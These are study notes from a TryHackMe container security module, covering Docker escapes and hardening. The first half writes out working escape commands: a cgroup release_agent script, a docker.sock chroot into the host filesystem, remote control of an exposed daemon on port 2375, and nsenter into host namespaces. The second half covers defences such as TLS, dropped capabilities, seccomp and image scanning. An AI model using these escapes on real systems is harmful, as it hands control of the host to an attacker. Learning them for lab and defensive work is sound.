2024-08-15
Container security: escapes and hardening
These notes cover common container misconfigurations that can expose the host, along with ways to reduce the risk. They are based on the Container Security module on TryHackMe.
Container vulnerabilities
Privileged containers
Docker containers are unprivileged by default and keep only a restricted set of
Linux capabilities. --privileged grants all capabilities, exposes host devices,
and relaxes AppArmor or SELinux restrictions. It gives the container nearly the
same host access as a process running outside a container, but it is not a
separate host-OS mode. View a container's capabilities with capsh --print.
This older escape works only under specific conditions. The host must still use
a writable cgroup v1 hierarchy, and the container needs broad privileges on a
rootful Docker daemon. The named controller must exist, and the payload must be
stored at a path the host can execute. Patched kernels also require the
CAP_SYS_ADMIN capability in the host's main user namespace, so rootless
containers cannot use this route. The exploit works as follows:
- Create a cgroup to work with and mount it to
/tmp/cgrpin the container. - Tell the kernel to run code on release. Writing
1to/tmp/cgrp/x/notify_on_releaseenables the release notification. - Find where the container's files live on the host and store that as a variable.
- Write the location of the exploit on the host into
release_agent, so the exploit runs when the cgroup is released. - Create a shell script that will run on the host.
- Run a command,
cat /home/user1/flag.txt > $host_path/flag.txt, to pull the host file back into the container. - Make the exploit executable.
- Add a short-lived process to the cgroup. When that process exits and the cgroup becomes empty, the kernel runs the configured release agent.
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)
echo "$host_path/exploit" > /tmp/cgrp/release_agent
echo '#!/bin/sh' > /exploit
echo "cat /home/user1/flag.txt > $host_path/flag.txt" >> /exploit
chmod a+x /exploit
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"The full explanation of why this works is in Trail of Bits' container escape post.
Escaping via an exposed Docker daemon
Docker commands normally reach the daemon through a Unix socket. Access depends
on the socket's actual filesystem permissions or ACLs. A rootful installation
commonly uses /var/run/docker.sock, owned by root and accessible to the
docker group. That group grants root-level control of the daemon. The socket
appears inside a container only if someone explicitly mounts it. Rootless Docker
instead runs the daemon as a non-root user and commonly uses
/run/user/<uid>/docker.sock.
If you can control a conventional rootful daemon, you can ask it to mount the host's root filesystem into a new container and modify host files. The command below opens a shell rooted at that mounted filesystem; it does not by itself join every host namespace. A rootless daemon is limited by the permissions of the user running it.
docker run -v /:/mnt --rm -it alpine chroot /mnt shThat command mounts the host filesystem to /mnt in a new container, runs it
interactively with -it, changes the root to /mnt, and starts sh.
Remote code execution via an exposed daemon
Docker listens on a local Unix socket by default. An administrator can
explicitly expose the API over TCP. The conventional ports are 2375 without
TLS and 2376 with TLS. An unauthenticated rootful daemon reachable over the
network can give a remote user root-level control of the host. Current Docker
versions restrict insecure TCP setups, but older or deliberately weakened
installations may still expose them.
nmap -sV -p 2375 <ip_address>Check the endpoint with curl:
curl http://<ip_address>:2375/versionUse the Docker CLI's -H flag to target the remote host. Commands such as
ps, images, network, exec, and run then use that daemon:
docker -H tcp://<ip_address>:2375 psAbusing namespaces
If a container shares the host PID namespace, can access the host PID 1
namespace files, and has the required capabilities, nsenter can start a
process in selected host namespaces. Host PID visibility may require a setting
such as --pid=host.
nsenter --target 1 --mount --uts --ipc --net /bin/bashEach flag matters:
--target 1selects PID 1 as the namespace source; it does not grant root.--mountenters the target's mount namespace, or filesystem view.--utsenters the target's hostname and domain-name namespace.--ipcenters the target's IPC namespace.--netenters the target's network namespace.
The command does not enter PID 1's PID or user namespace, and the new shell
keeps the caller's credentials. The caller also needs access to the relevant
/proc/1/ns/* files and the capabilities required by setns. Joining the
mount namespace needs CAP_SYS_ADMIN and CAP_SYS_CHROOT; joining the UTS,
IPC, or network namespace needs CAP_SYS_ADMIN in the relevant owning user
namespace.
Container hardening
--privileged grants broad host access. Avoid it when a narrower capability
or device permission is enough.
Protecting the Docker daemon
Use secure communication and authentication to keep the daemon out of reach.
SSH. Docker contexts save connection settings for different hosts. You still need SSH access to the remote host and an account that can run Docker.
docker context create \
--docker host=ssh://<username>@<remotehost> \
--description="Development Environment" \
development-environment-host
docker context use development-environment-hostTLS. The daemon can also be driven over HTTPS. In TLS mode it only accepts commands from devices whose certificates are signed against it. On the server:
dockerd --tlsverify --tlscacert=myca.pem --tlscert=myserver-cert.pem --tlskey=myserver-key.pem -H=0.0.0.0:2376On the client:
docker --tlsverify --tlscacert=myca.pem --tlscert=client-cert.pem --tlskey=client-key.pem -H=<SERVER_IP>:2376 infoImplementing control groups
Control groups (cgroups) are a kernel feature that restricts and prioritizes how many system resources a process can use. They help with stability and usage tracking. Docker does not set CPU or memory limits by default, so set them when starting a container:
docker run -it --cpus="1" mycontainer
docker run -it --memory="20m" mycontainerUpdate a running container, and inspect it:
docker update --memory="40m" mycontainer
docker inspect mycontainerBy default, no CPU or memory limit is set. Do not treat 0 as a universal
value: its meaning depends on the Docker option.
For more detail, see Docker's cgroup metrics documentation.
Preventing over-privileged containers
Capabilities are a Linux feature that controls what a process can do at a granular level, so you can fine-tune privileges instead of handing over root. For example:
CAP_NET_BIND_SERVICE— bind to ports below 1024, which normally needs root.CAP_SYS_ADMIN— a grab-bag of admin rights: mounting filesystems, changing network settings, rebooting.CAP_SYS_RESOURCE— modify resource limits.
Rather than --privileged, drop every capability and add back only what the
container needs. This example adds only the ability to bind low ports:
docker run -it --rm --cap-drop=ALL --cap-add=NET_BIND_SERVICE webserverCheck what a process holds with capsh --print.
See Docker's Linux kernel capabilities documentation.
Seccomp and AppArmor
Seccomp and AppArmor are kernel-enforced controls. Seccomp limits system calls, while AppArmor is a Mandatory Access Control system that limits actions such as file, capability, and network access.
Seccomp restricts the system calls an application can make. You write a list of rules, such as allowing readand denying execve, to shrink what an attacker can do while keeping the app working. A profile for a web server that can read and write files but not execute anything:
{
"defaultAction": "SCMP_ACT_ALLOW",
"architectures": [
"SCMP_ARCH_X86_64",
"SCMP_ARCH_X86",
"SCMP_ARCH_X32"
],
"syscalls": [
{ "names": [ "read", "write", "exit", "exit_group", "open", "close", "stat", "fstat", "lstat", "poll", "getdents", "munmap", "mprotect", "brk", "arch_prctl", "set_tid_address", "set_robust_list" ], "action": "SCMP_ACT_ALLOW" },
{ "names": [ "execve", "execveat" ], "action": "SCMP_ACT_ERRNO" }
]
}Apply it at runtime:
docker run --rm -it --security-opt seccomp=/path/to/profile.json mycontainerRead more in the seccomp(2) manual and Docker's Seccomp documentation.
Reviewing Docker images
Analyze a Dockerfile before you trust it. Dive reverse-engineers an image by inspecting what's executed and changed at each build layer, so you can see what actually goes in.
Compliance and benchmarking
- CIS Docker Benchmark — assesses compliance against the CIS Docker benchmark.
- OpenSCAP — assesses against multiple frameworks, including CIS and NIST SP 800-190.
- Docker Scout — Docker's own cloud service; lists image vulnerabilities and how to fix them.
- Grype — a fast vulnerability scanner for images and filesystems.
docker scout cves local://nginx:latest
grype imagename --scope all-layers
grype /path/to/image.tar # a filesystem exported with `docker image save`